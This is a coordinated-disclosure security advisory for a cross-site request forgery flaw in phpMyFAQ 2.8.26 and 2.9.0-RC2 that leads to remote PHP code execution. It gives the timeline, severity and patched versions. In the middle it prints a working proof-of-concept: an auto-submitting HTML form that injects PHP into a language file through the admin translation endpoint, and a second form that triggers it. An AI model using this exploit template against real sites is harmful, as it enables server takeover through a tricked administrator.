RCE via CSRF in phpMyFAQ

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23300
Product: phpMyFAQ
Vendor: http://www.phpmyfaq.de 
Vulnerable Version(s): 2.8.26, 2.9.0-RC2 and probably prior
Tested Version: 2.8.26, 2.9.0-RC2
Advisory Publication:  March 30, 2016  [without technical details]
Vendor Notification: March 30, 2016 
Vendor Patch: April 11, 2016 
Public Disclosure: April 20, 2016 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: High 
CVSSv3 Base Score: 8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered a high-risk security 
vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote 
attacker can execute arbitrary PHP code on vulnerable system via CSRF attack 
against website administrator and completely compromise vulnerable web 
application. 

The vulnerability exists due to application does not properly verify origin of 
HTTP requests in "Interface Translation" functionality. A remote 
unauthenticated attacker can create a specially crafted malicious web page with 
CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP 
request, as if it was coming from the legitimate user, inject and execute 
arbitrary PHP code on the target system with privileges of the webserver. 

A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into 
file "/lang/language_af.php":


 <form 
action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_added_trans";
 method="POST" name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />
</form><script>document.main.submit();</script>


To trigger the execution of "phpinfo()", just open the following file in your 
browser (no privileges required): 


 <form action="http://[host]/"; method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />
</form>



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Solution:

Update to phpMyFAQ 2.8.27 or 2.9.0-RC3

More Information:
http://www.phpmyfaq.de/security/advisory-2016-04-11

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References:

[1] High-Tech Bridge Advisory HTB23300 - 
https://www.htbridge.com/advisory/HTB23300 - RCE via CSRF in phpMyFAQ
[2] phpMyFAQ - http://www.phpmyfaq.de - Open Source FAQ software
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by 
High-Tech Bridge for on-demand and continuous web application security, 
vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL 
implementation for PCI DSS and NIST compliance. Supports all types of protocols.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.